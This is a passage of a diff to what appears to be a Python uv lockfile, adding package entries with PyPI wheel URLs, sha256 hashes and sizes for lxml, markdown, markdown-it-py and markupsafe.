+    { url = "https://files.pythonhosted.org/packages/95/0c/443fc476dcc8e41577f0af70458c50fe299a97bb6b7505bb1ae09aa7f9ac/lxml-6.0.2-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:2cbcbf6d6e924c28f04a43f3b6f6e272312a090f269eff68a2982e13e5d57659", size = 4785688, upload-time = "2025-09-22T04:02:16.957Z" },
+    { url = "https://files.pythonhosted.org/packages/48/78/6ef0b359d45bb9697bc5a626e1992fa5d27aa3f8004b137b2314793b50a0/lxml-6.0.2-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:dfb874cfa53340009af6bdd7e54ebc0d21012a60a4e65d927c2e477112e63484", size = 5660655, upload-time = "2025-09-22T04:02:18.815Z" },
+    { url = "https://files.pythonhosted.org/packages/ff/ea/e1d33808f386bc1339d08c0dcada6e4712d4ed8e93fcad5f057070b7988a/lxml-6.0.2-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:fb8dae0b6b8b7f9e96c26fdd8121522ce5de9bb5538010870bd538683d30e9a2", size = 5247695, upload-time = "2025-09-22T04:02:20.593Z" },
+    { url = "https://files.pythonhosted.org/packages/4f/47/eba75dfd8183673725255247a603b4ad606f4ae657b60c6c145b381697da/lxml-6.0.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:358d9adae670b63e95bc59747c72f4dc97c9ec58881d4627fe0120da0f90d314", size = 5269841, upload-time = "2025-09-22T04:02:22.489Z" },
+    { url = "https://files.pythonhosted.org/packages/76/04/5c5e2b8577bc936e219becb2e98cdb1aca14a4921a12995b9d0c523502ae/lxml-6.0.2-cp313-cp313-win32.whl", hash = "sha256:e8cd2415f372e7e5a789d743d133ae474290a90b9023197fd78f32e2dc6873e2", size = 3610700, upload-time = "2025-09-22T04:02:24.465Z" },
+    { url = "https://files.pythonhosted.org/packages/fe/0a/4643ccc6bb8b143e9f9640aa54e38255f9d3b45feb2cbe7ae2ca47e8782e/lxml-6.0.2-cp313-cp313-win_amd64.whl", hash = "sha256:b30d46379644fbfc3ab81f8f82ae4de55179414651f110a1514f0b1f8f6cb2d7", size = 4010347, upload-time = "2025-09-22T04:02:26.286Z" },
+    { url = "https://files.pythonhosted.org/packages/31/ef/dcf1d29c3f530577f61e5fe2f1bd72929acf779953668a8a47a479ae6f26/lxml-6.0.2-cp313-cp313-win_arm64.whl", hash = "sha256:13dcecc9946dca97b11b7c40d29fba63b55ab4170d3c0cf8c0c164343b9bfdcf", size = 3671248, upload-time = "2025-09-22T04:02:27.918Z" },
+    { url = "https://files.pythonhosted.org/packages/03/15/d4a377b385ab693ce97b472fe0c77c2b16ec79590e688b3ccc71fba19884/lxml-6.0.2-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:b0c732aa23de8f8aec23f4b580d1e52905ef468afb4abeafd3fec77042abb6fe", size = 8659801, upload-time = "2025-09-22T04:02:30.113Z" },
+    { url = "https://files.pythonhosted.org/packages/c8/e8/c128e37589463668794d503afaeb003987373c5f94d667124ffd8078bbd9/lxml-6.0.2-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:4468e3b83e10e0317a89a33d28f7aeba1caa4d1a6fd457d115dd4ffe90c5931d", size = 4659403, upload-time = "2025-09-22T04:02:32.119Z" },
+    { url = "https://files.pythonhosted.org/packages/00/ce/74903904339decdf7da7847bb5741fc98a5451b42fc419a86c0c13d26fe2/lxml-6.0.2-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:abd44571493973bad4598a3be7e1d807ed45aa2adaf7ab92ab7c62609569b17d", size = 4966974, upload-time = "2025-09-22T04:02:34.155Z" },
+    { url = "https://files.pythonhosted.org/packages/1f/d3/131dec79ce61c5567fecf82515bd9bc36395df42501b50f7f7f3bd065df0/lxml-6.0.2-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:370cd78d5855cfbffd57c422851f7d3864e6ae72d0da615fca4dad8c45d375a5", size = 5102953, upload-time = "2025-09-22T04:02:36.054Z" },
+    { url = "https://files.pythonhosted.org/packages/3a/ea/a43ba9bb750d4ffdd885f2cd333572f5bb900cd2408b67fdda07e85978a0/lxml-6.0.2-cp314-cp314-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:901e3b4219fa04ef766885fb40fa516a71662a4c61b80c94d25336b4934b71c0", size = 5055054, upload-time = "2025-09-22T04:02:38.154Z" },
+    { url = "https://files.pythonhosted.org/packages/60/23/6885b451636ae286c34628f70a7ed1fcc759f8d9ad382d132e1c8d3d9bfd/lxml-6.0.2-cp314-cp314-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:a4bf42d2e4cf52c28cc1812d62426b9503cdb0c87a6de81442626aa7d69707ba", size = 5352421, upload-time = "2025-09-22T04:02:40.413Z" },
+    { url = "https://files.pythonhosted.org/packages/48/5b/fc2ddfc94ddbe3eebb8e9af6e3fd65e2feba4967f6a4e9683875c394c2d8/lxml-6.0.2-cp314-cp314-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b2c7fdaa4d7c3d886a42534adec7cfac73860b89b4e5298752f60aa5984641a0", size = 5673684, upload-time = "2025-09-22T04:02:42.288Z" },
+    { url = "https://files.pythonhosted.org/packages/29/9c/47293c58cc91769130fbf85531280e8cc7868f7fbb6d92f4670071b9cb3e/lxml-6.0.2-cp314-cp314-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:98a5e1660dc7de2200b00d53fa00bcd3c35a3608c305d45a7bbcaf29fa16e83d", size = 5252463, upload-time = "2025-09-22T04:02:44.165Z" },
+    { url = "https://files.pythonhosted.org/packages/9b/da/ba6eceb830c762b48e711ded880d7e3e89fc6c7323e587c36540b6b23c6b/lxml-6.0.2-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:dc051506c30b609238d79eda75ee9cab3e520570ec8219844a72a46020901e37", size = 4698437, upload-time = "2025-09-22T04:02:46.524Z" },
+    { url = "https://files.pythonhosted.org/packages/a5/24/7be3f82cb7990b89118d944b619e53c656c97dc89c28cfb143fdb7cd6f4d/lxml-6.0.2-cp314-cp314-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:8799481bbdd212470d17513a54d568f44416db01250f49449647b5ab5b5dccb9", size = 5269890, upload-time = "2025-09-22T04:02:48.812Z" },
+    { url = "https://files.pythonhosted.org/packages/1b/bd/dcfb9ea1e16c665efd7538fc5d5c34071276ce9220e234217682e7d2c4a5/lxml-6.0.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:9261bb77c2dab42f3ecd9103951aeca2c40277701eb7e912c545c1b16e0e4917", size = 5097185, upload-time = "2025-09-22T04:02:50.746Z" },
+    { url = "https://files.pythonhosted.org/packages/21/04/a60b0ff9314736316f28316b694bccbbabe100f8483ad83852d77fc7468e/lxml-6.0.2-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:65ac4a01aba353cfa6d5725b95d7aed6356ddc0a3cd734de00124d285b04b64f", size = 4745895, upload-time = "2025-09-22T04:02:52.968Z" },
+    { url = "https://files.pythonhosted.org/packages/d6/bd/7d54bd1846e5a310d9c715921c5faa71cf5c0853372adf78aee70c8d7aa2/lxml-6.0.2-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:b22a07cbb82fea98f8a2fd814f3d1811ff9ed76d0fc6abc84eb21527596e7cc8", size = 5695246, upload-time = "2025-09-22T04:02:54.798Z" },
+    { url = "https://files.pythonhosted.org/packages/fd/32/5643d6ab947bc371da21323acb2a6e603cedbe71cb4c99c8254289ab6f4e/lxml-6.0.2-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:d759cdd7f3e055d6bc8d9bec3ad905227b2e4c785dc16c372eb5b5e83123f48a", size = 5260797, upload-time = "2025-09-22T04:02:57.058Z" },
+    { url = "https://files.pythonhosted.org/packages/33/da/34c1ec4cff1eea7d0b4cd44af8411806ed943141804ac9c5d565302afb78/lxml-6.0.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:945da35a48d193d27c188037a05fec5492937f66fb1958c24fc761fb9d40d43c", size = 5277404, upload-time = "2025-09-22T04:02:58.966Z" },
+    { url = "https://files.pythonhosted.org/packages/82/57/4eca3e31e54dc89e2c3507e1cd411074a17565fa5ffc437c4ae0a00d439e/lxml-6.0.2-cp314-cp314-win32.whl", hash = "sha256:be3aaa60da67e6153eb15715cc2e19091af5dc75faef8b8a585aea372507384b", size = 3670072, upload-time = "2025-09-22T04:03:38.05Z" },
+    { url = "https://files.pythonhosted.org/packages/e3/e0/c96cf13eccd20c9421ba910304dae0f619724dcf1702864fd59dd386404d/lxml-6.0.2-cp314-cp314-win_amd64.whl", hash = "sha256:fa25afbadead523f7001caf0c2382afd272c315a033a7b06336da2637d92d6ed", size = 4080617, upload-time = "2025-09-22T04:03:39.835Z" },
+    { url = "https://files.pythonhosted.org/packages/d5/5d/b3f03e22b3d38d6f188ef044900a9b29b2fe0aebb94625ce9fe244011d34/lxml-6.0.2-cp314-cp314-win_arm64.whl", hash = "sha256:063eccf89df5b24e361b123e257e437f9e9878f425ee9aae3144c77faf6da6d8", size = 3754930, upload-time = "2025-09-22T04:03:41.565Z" },
+    { url = "https://files.pythonhosted.org/packages/5e/5c/42c2c4c03554580708fc738d13414801f340c04c3eff90d8d2d227145275/lxml-6.0.2-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:6162a86d86893d63084faaf4ff937b3daea233e3682fb4474db07395794fa80d", size = 8910380, upload-time = "2025-09-22T04:03:01.645Z" },
+    { url = "https://files.pythonhosted.org/packages/bf/4f/12df843e3e10d18d468a7557058f8d3733e8b6e12401f30b1ef29360740f/lxml-6.0.2-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:414aaa94e974e23a3e92e7ca5b97d10c0cf37b6481f50911032c69eeb3991bba", size = 4775632, upload-time = "2025-09-22T04:03:03.814Z" },
+    { url = "https://files.pythonhosted.org/packages/e4/0c/9dc31e6c2d0d418483cbcb469d1f5a582a1cd00a1f4081953d44051f3c50/lxml-6.0.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:48461bd21625458dd01e14e2c38dd0aea69addc3c4f960c30d9f59d7f93be601", size = 4975171, upload-time = "2025-09-22T04:03:05.651Z" },
+    { url = "https://files.pythonhosted.org/packages/e7/2b/9b870c6ca24c841bdd887504808f0417aa9d8d564114689266f19ddf29c8/lxml-6.0.2-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:25fcc59afc57d527cfc78a58f40ab4c9b8fd096a9a3f964d2781ffb6eb33f4ed", size = 5110109, upload-time = "2025-09-22T04:03:07.452Z" },
+    { url = "https://files.pythonhosted.org/packages/bf/0c/4f5f2a4dd319a178912751564471355d9019e220c20d7db3fb8307ed8582/lxml-6.0.2-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5179c60288204e6ddde3f774a93350177e08876eaf3ab78aa3a3649d43eb7d37", size = 5041061, upload-time = "2025-09-22T04:03:09.297Z" },
+    { url = "https://files.pythonhosted.org/packages/12/64/554eed290365267671fe001a20d72d14f468ae4e6acef1e179b039436967/lxml-6.0.2-cp314-cp314t-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:967aab75434de148ec80597b75062d8123cadf2943fb4281f385141e18b21338", size = 5306233, upload-time = "2025-09-22T04:03:11.651Z" },
+    { url = "https://files.pythonhosted.org/packages/7a/31/1d748aa275e71802ad9722df32a7a35034246b42c0ecdd8235412c3396ef/lxml-6.0.2-cp314-cp314t-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:d100fcc8930d697c6561156c6810ab4a508fb264c8b6779e6e61e2ed5e7558f9", size = 5604739, upload-time = "2025-09-22T04:03:13.592Z" },
+    { url = "https://files.pythonhosted.org/packages/8f/41/2c11916bcac09ed561adccacceaedd2bf0e0b25b297ea92aab99fd03d0fa/lxml-6.0.2-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2ca59e7e13e5981175b8b3e4ab84d7da57993eeff53c07764dcebda0d0e64ecd", size = 5225119, upload-time = "2025-09-22T04:03:15.408Z" },
+    { url = "https://files.pythonhosted.org/packages/99/05/4e5c2873d8f17aa018e6afde417c80cc5d0c33be4854cce3ef5670c49367/lxml-6.0.2-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:957448ac63a42e2e49531b9d6c0fa449a1970dbc32467aaad46f11545be9af1d", size = 4633665, upload-time = "2025-09-22T04:03:17.262Z" },
+    { url = "https://files.pythonhosted.org/packages/0f/c9/dcc2da1bebd6275cdc723b515f93edf548b82f36a5458cca3578bc899332/lxml-6.0.2-cp314-cp314t-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b7fc49c37f1786284b12af63152fe1d0990722497e2d5817acfe7a877522f9a9", size = 5234997, upload-time = "2025-09-22T04:03:19.14Z" },
+    { url = "https://files.pythonhosted.org/packages/9c/e2/5172e4e7468afca64a37b81dba152fc5d90e30f9c83c7c3213d6a02a5ce4/lxml-6.0.2-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e19e0643cc936a22e837f79d01a550678da8377d7d801a14487c10c34ee49c7e", size = 5090957, upload-time = "2025-09-22T04:03:21.436Z" },
+    { url = "https://files.pythonhosted.org/packages/a5/b3/15461fd3e5cd4ddcb7938b87fc20b14ab113b92312fc97afe65cd7c85de1/lxml-6.0.2-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:1db01e5cf14345628e0cbe71067204db658e2fb8e51e7f33631f5f4735fefd8d", size = 4764372, upload-time = "2025-09-22T04:03:23.27Z" },
+    { url = "https://files.pythonhosted.org/packages/05/33/f310b987c8bf9e61c4dd8e8035c416bd3230098f5e3cfa69fc4232de7059/lxml-6.0.2-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:875c6b5ab39ad5291588aed6925fac99d0097af0dd62f33c7b43736043d4a2ec", size = 5634653, upload-time = "2025-09-22T04:03:25.767Z" },
+    { url = "https://files.pythonhosted.org/packages/70/ff/51c80e75e0bc9382158133bdcf4e339b5886c6ee2418b5199b3f1a61ed6d/lxml-6.0.2-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:cdcbed9ad19da81c480dfd6dd161886db6096083c9938ead313d94b30aadf272", size = 5233795, upload-time = "2025-09-22T04:03:27.62Z" },
+    { url = "https://files.pythonhosted.org/packages/56/4d/4856e897df0d588789dd844dbed9d91782c4ef0b327f96ce53c807e13128/lxml-6.0.2-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:80dadc234ebc532e09be1975ff538d154a7fa61ea5031c03d25178855544728f", size = 5257023, upload-time = "2025-09-22T04:03:30.056Z" },
+    { url = "https://files.pythonhosted.org/packages/0f/85/86766dfebfa87bea0ab78e9ff7a4b4b45225df4b4d3b8cc3c03c5cd68464/lxml-6.0.2-cp314-cp314t-win32.whl", hash = "sha256:da08e7bb297b04e893d91087df19638dc7a6bb858a954b0cc2b9f5053c922312", size = 3911420, upload-time = "2025-09-22T04:03:32.198Z" },
+    { url = "https://files.pythonhosted.org/packages/fe/1a/b248b355834c8e32614650b8008c69ffeb0ceb149c793961dd8c0b991bb3/lxml-6.0.2-cp314-cp314t-win_amd64.whl", hash = "sha256:252a22982dca42f6155125ac76d3432e548a7625d56f5a273ee78a5057216eca", size = 4406837, upload-time = "2025-09-22T04:03:34.027Z" },
+    { url = "https://files.pythonhosted.org/packages/92/aa/df863bcc39c5e0946263454aba394de8a9084dbaff8ad143846b0d844739/lxml-6.0.2-cp314-cp314t-win_arm64.whl", hash = "sha256:bb4c1847b303835d89d785a18801a883436cdfd5dc3d62947f9c49e24f0f5a2c", size = 3822205, upload-time = "2025-09-22T04:03:36.249Z" },
+    { url = "https://files.pythonhosted.org/packages/e7/9c/780c9a8fce3f04690b374f72f41306866b0400b9d0fdf3e17aaa37887eed/lxml-6.0.2-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:e748d4cf8fef2526bb2a589a417eba0c8674e29ffcb570ce2ceca44f1e567bf6", size = 3939264, upload-time = "2025-09-22T04:04:32.892Z" },
+    { url = "https://files.pythonhosted.org/packages/f5/5a/1ab260c00adf645d8bf7dec7f920f744b032f69130c681302821d5debea6/lxml-6.0.2-pp310-pypy310_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:4ddb1049fa0579d0cbd00503ad8c58b9ab34d1254c77bc6a5576d96ec7853dba", size = 4216435, upload-time = "2025-09-22T04:04:34.907Z" },
+    { url = "https://files.pythonhosted.org/packages/f2/37/565f3b3d7ffede22874b6d86be1a1763d00f4ea9fc5b9b6ccb11e4ec8612/lxml-6.0.2-pp310-pypy310_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:cb233f9c95f83707dae461b12b720c1af9c28c2d19208e1be03387222151daf5", size = 4325913, upload-time = "2025-09-22T04:04:37.205Z" },
+    { url = "https://files.pythonhosted.org/packages/22/ec/f3a1b169b2fb9d03467e2e3c0c752ea30e993be440a068b125fc7dd248b0/lxml-6.0.2-pp310-pypy310_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bc456d04db0515ce3320d714a1eac7a97774ff0849e7718b492d957da4631dd4", size = 4269357, upload-time = "2025-09-22T04:04:39.322Z" },
+    { url = "https://files.pythonhosted.org/packages/77/a2/585a28fe3e67daa1cf2f06f34490d556d121c25d500b10082a7db96e3bcd/lxml-6.0.2-pp310-pypy310_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2613e67de13d619fd283d58bda40bff0ee07739f624ffee8b13b631abf33083d", size = 4412295, upload-time = "2025-09-22T04:04:41.647Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/d9/a57dd8bcebd7c69386c20263830d4fa72d27e6b72a229ef7a48e88952d9a/lxml-6.0.2-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:24a8e756c982c001ca8d59e87c80c4d9dcd4d9b44a4cbeb8d9be4482c514d41d", size = 3516913, upload-time = "2025-09-22T04:04:43.602Z" },
+    { url = "https://files.pythonhosted.org/packages/0b/11/29d08bc103a62c0eba8016e7ed5aeebbf1e4312e83b0b1648dd203b0e87d/lxml-6.0.2-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:1c06035eafa8404b5cf475bb37a9f6088b0aca288d4ccc9d69389750d5543700", size = 3949829, upload-time = "2025-09-22T04:04:45.608Z" },
+    { url = "https://files.pythonhosted.org/packages/12/b3/52ab9a3b31e5ab8238da241baa19eec44d2ab426532441ee607165aebb52/lxml-6.0.2-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:c7d13103045de1bdd6fe5d61802565f1a3537d70cd3abf596aa0af62761921ee", size = 4226277, upload-time = "2025-09-22T04:04:47.754Z" },
+    { url = "https://files.pythonhosted.org/packages/a0/33/1eaf780c1baad88224611df13b1c2a9dfa460b526cacfe769103ff50d845/lxml-6.0.2-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:0a3c150a95fbe5ac91de323aa756219ef9cf7fde5a3f00e2281e30f33fa5fa4f", size = 4330433, upload-time = "2025-09-22T04:04:49.907Z" },
+    { url = "https://files.pythonhosted.org/packages/7a/c1/27428a2ff348e994ab4f8777d3a0ad510b6b92d37718e5887d2da99952a2/lxml-6.0.2-pp311-pypy311_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:60fa43be34f78bebb27812ed90f1925ec99560b0fa1decdb7d12b84d857d31e9", size = 4272119, upload-time = "2025-09-22T04:04:51.801Z" },
+    { url = "https://files.pythonhosted.org/packages/f0/d0/3020fa12bcec4ab62f97aab026d57c2f0cfd480a558758d9ca233bb6a79d/lxml-6.0.2-pp311-pypy311_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:21c73b476d3cfe836be731225ec3421fa2f048d84f6df6a8e70433dff1376d5a", size = 4417314, upload-time = "2025-09-22T04:04:55.024Z" },
+    { url = "https://files.pythonhosted.org/packages/6c/77/d7f491cbc05303ac6801651aabeb262d43f319288c1ea96c66b1d2692ff3/lxml-6.0.2-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:27220da5be049e936c3aca06f174e8827ca6445a4353a1995584311487fc4e3e", size = 3518768, upload-time = "2025-09-22T04:04:57.097Z" },
+]
+
+[[package]]
+name = "markdown"
+version = "3.10.2"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/2b/f4/69fa6ed85ae003c2378ffa8f6d2e3234662abd02c10d216c0ba96081a238/markdown-3.10.2.tar.gz", hash = "sha256:994d51325d25ad8aa7ce4ebaec003febcce822c3f8c911e3b17c52f7f589f950", size = 368805, upload-time = "2026-02-09T14:57:26.942Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/de/1f/77fa3081e4f66ca3576c896ae5d31c3002ac6607f9747d2e3aa49227e464/markdown-3.10.2-py3-none-any.whl", hash = "sha256:e91464b71ae3ee7afd3017d9f358ef0baf158fd9a298db92f1d4761133824c36", size = 108180, upload-time = "2026-02-09T14:57:25.787Z" },
+]
+
+[[package]]
+name = "markdown-it-py"
+version = "4.0.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "mdurl" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/5b/f5/4ec618ed16cc4f8fb3b701563655a69816155e79e24a17b651541804721d/markdown_it_py-4.0.0.tar.gz", hash = "sha256:cb0a2b4aa34f932c007117b194e945bd74e0ec24133ceb5bac59009cda1cb9f3", size = 73070, upload-time = "2025-08-11T12:57:52.854Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/94/54/e7d793b573f298e1c9013b8c4dade17d481164aa517d1d7148619c2cedbf/markdown_it_py-4.0.0-py3-none-any.whl", hash = "sha256:87327c59b172c5011896038353a81343b6754500a08cd7a4973bb48c6d578147", size = 87321, upload-time = "2025-08-11T12:57:51.923Z" },
+]
+
+[[package]]
+name = "markupsafe"
+version = "3.0.3"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/7e/99/7690b6d4034fffd95959cbe0c02de8deb3098cc577c67bb6a24fe5d7caa7/markupsafe-3.0.3.tar.gz", hash = "sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698", size = 80313, upload-time = "2025-09-27T18:37:40.426Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/e8/4b/3541d44f3937ba468b75da9eebcae497dcf67adb65caa16760b0a6807ebb/markupsafe-3.0.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:2f981d352f04553a7171b8e44369f2af4055f888dfb147d55e42d29e29e74559", size = 11631, upload-time = "2025-09-27T18:36:05.558Z" },
+    { url = "https://files.pythonhosted.org/packages/98/1b/fbd8eed11021cabd9226c37342fa6ca4e8a98d8188a8d9b66740494960e4/markupsafe-3.0.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:e1c1493fb6e50ab01d20a22826e57520f1284df32f2d8601fdd90b6304601419", size = 12057, upload-time = "2025-09-27T18:36:07.165Z" },
+    { url = "https://files.pythonhosted.org/packages/40/01/e560d658dc0bb8ab762670ece35281dec7b6c1b33f5fbc09ebb57a185519/markupsafe-3.0.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1ba88449deb3de88bd40044603fafffb7bc2b055d626a330323a9ed736661695", size = 22050, upload-time = "2025-09-27T18:36:08.005Z" },
+    { url = "https://files.pythonhosted.org/packages/af/cd/ce6e848bbf2c32314c9b237839119c5a564a59725b53157c856e90937b7a/markupsafe-3.0.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f42d0984e947b8adf7dd6dde396e720934d12c506ce84eea8476409563607591", size = 20681, upload-time = "2025-09-27T18:36:08.881Z" },
+    { url = "https://files.pythonhosted.org/packages/c9/2a/b5c12c809f1c3045c4d580b035a743d12fcde53cf685dbc44660826308da/markupsafe-3.0.3-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c0c0b3ade1c0b13b936d7970b1d37a57acde9199dc2aecc4c336773e1d86049c", size = 20705, upload-time = "2025-09-27T18:36:10.131Z" },
+    { url = "https://files.pythonhosted.org/packages/cf/e3/9427a68c82728d0a88c50f890d0fc072a1484de2f3ac1ad0bfc1a7214fd5/markupsafe-3.0.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0303439a41979d9e74d18ff5e2dd8c43ed6c6001fd40e5bf2e43f7bd9bbc523f", size = 21524, upload-time = "2025-09-27T18:36:11.324Z" },
+    { url = "https://files.pythonhosted.org/packages/bc/36/23578f29e9e582a4d0278e009b38081dbe363c5e7165113fad546918a232/markupsafe-3.0.3-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:d2ee202e79d8ed691ceebae8e0486bd9a2cd4794cec4824e1c99b6f5009502f6", size = 20282, upload-time = "2025-09-27T18:36:12.573Z" },
+    { url = "https://files.pythonhosted.org/packages/56/21/dca11354e756ebd03e036bd8ad58d6d7168c80ce1fe5e75218e4945cbab7/markupsafe-3.0.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:177b5253b2834fe3678cb4a5f0059808258584c559193998be2601324fdeafb1", size = 20745, upload-time = "2025-09-27T18:36:13.504Z" },
+    { url = "https://files.pythonhosted.org/packages/87/99/faba9369a7ad6e4d10b6a5fbf71fa2a188fe4a593b15f0963b73859a1bbd/markupsafe-3.0.3-cp310-cp310-win32.whl", hash = "sha256:2a15a08b17dd94c53a1da0438822d70ebcd13f8c3a95abe3a9ef9f11a94830aa", size = 14571, upload-time = "2025-09-27T18:36:14.779Z" },
+    { url = "https://files.pythonhosted.org/packages/d6/25/55dc3ab959917602c96985cb1253efaa4ff42f71194bddeb61eb7278b8be/markupsafe-3.0.3-cp310-cp310-win_amd64.whl", hash = "sha256:c4ffb7ebf07cfe8931028e3e4c85f0357459a3f9f9490886198848f4fa002ec8", size = 15056, upload-time = "2025-09-27T18:36:16.125Z" },
+    { url = "https://files.pythonhosted.org/packages/d0/9e/0a02226640c255d1da0b8d12e24ac2aa6734da68bff14c05dd53b94a0fc3/markupsafe-3.0.3-cp310-cp310-win_arm64.whl", hash = "sha256:e2103a929dfa2fcaf9bb4e7c091983a49c9ac3b19c9061b6d5427dd7d14d81a1", size = 13932, upload-time = "2025-09-27T18:36:17.311Z" },
+    { url = "https://files.pythonhosted.org/packages/08/db/fefacb2136439fc8dd20e797950e749aa1f4997ed584c62cfb8ef7c2be0e/markupsafe-3.0.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:1cc7ea17a6824959616c525620e387f6dd30fec8cb44f649e31712db02123dad", size = 11631, upload-time = "2025-09-27T18:36:18.185Z" },
+    { url = "https://files.pythonhosted.org/packages/e1/2e/5898933336b61975ce9dc04decbc0a7f2fee78c30353c5efba7f2d6ff27a/markupsafe-3.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4bd4cd07944443f5a265608cc6aab442e4f74dff8088b0dfc8238647b8f6ae9a", size = 12058, upload-time = "2025-09-27T18:36:19.444Z" },
+    { url = "https://files.pythonhosted.org/packages/1d/09/adf2df3699d87d1d8184038df46a9c80d78c0148492323f4693df54e17bb/markupsafe-3.0.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b5420a1d9450023228968e7e6a9ce57f65d148ab56d2313fcd589eee96a7a50", size = 24287, upload-time = "2025-09-27T18:36:20.768Z" },
+    { url = "https://files.pythonhosted.org/packages/30/ac/0273f6fcb5f42e314c6d8cd99effae6a5354604d461b8d392b5ec9530a54/markupsafe-3.0.3-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0bf2a864d67e76e5c9a34dc26ec616a66b9888e25e7b9460e1c76d3293bd9dbf", size = 22940, upload-time = "2025-09-27T18:36:22.249Z" },
+    { url = "https://files.pythonhosted.org/packages/19/ae/31c1be199ef767124c042c6c3e904da327a2f7f0cd63a0337e1eca2967a8/markupsafe-3.0.3-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:bc51efed119bc9cfdf792cdeaa4d67e8f6fcccab66ed4bfdd6bde3e59bfcbb2f", size = 21887, upload-time = "2025-09-27T18:36:23.535Z" },
+    { url = "https://files.pythonhosted.org/packages/b2/76/7edcab99d5349a4532a459e1fe64f0b0467a3365056ae550d3bcf3f79e1e/markupsafe-3.0.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:068f375c472b3e7acbe2d5318dea141359e6900156b5b2ba06a30b169086b91a", size = 23692, upload-time = "2025-09-27T18:36:24.823Z" },
+    { url = "https://files.pythonhosted.org/packages/a4/28/6e74cdd26d7514849143d69f0bf2399f929c37dc2b31e6829fd2045b2765/markupsafe-3.0.3-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:7be7b61bb172e1ed687f1754f8e7484f1c8019780f6f6b0786e76bb01c2ae115", size = 21471, upload-time = "2025-09-27T18:36:25.95Z" },
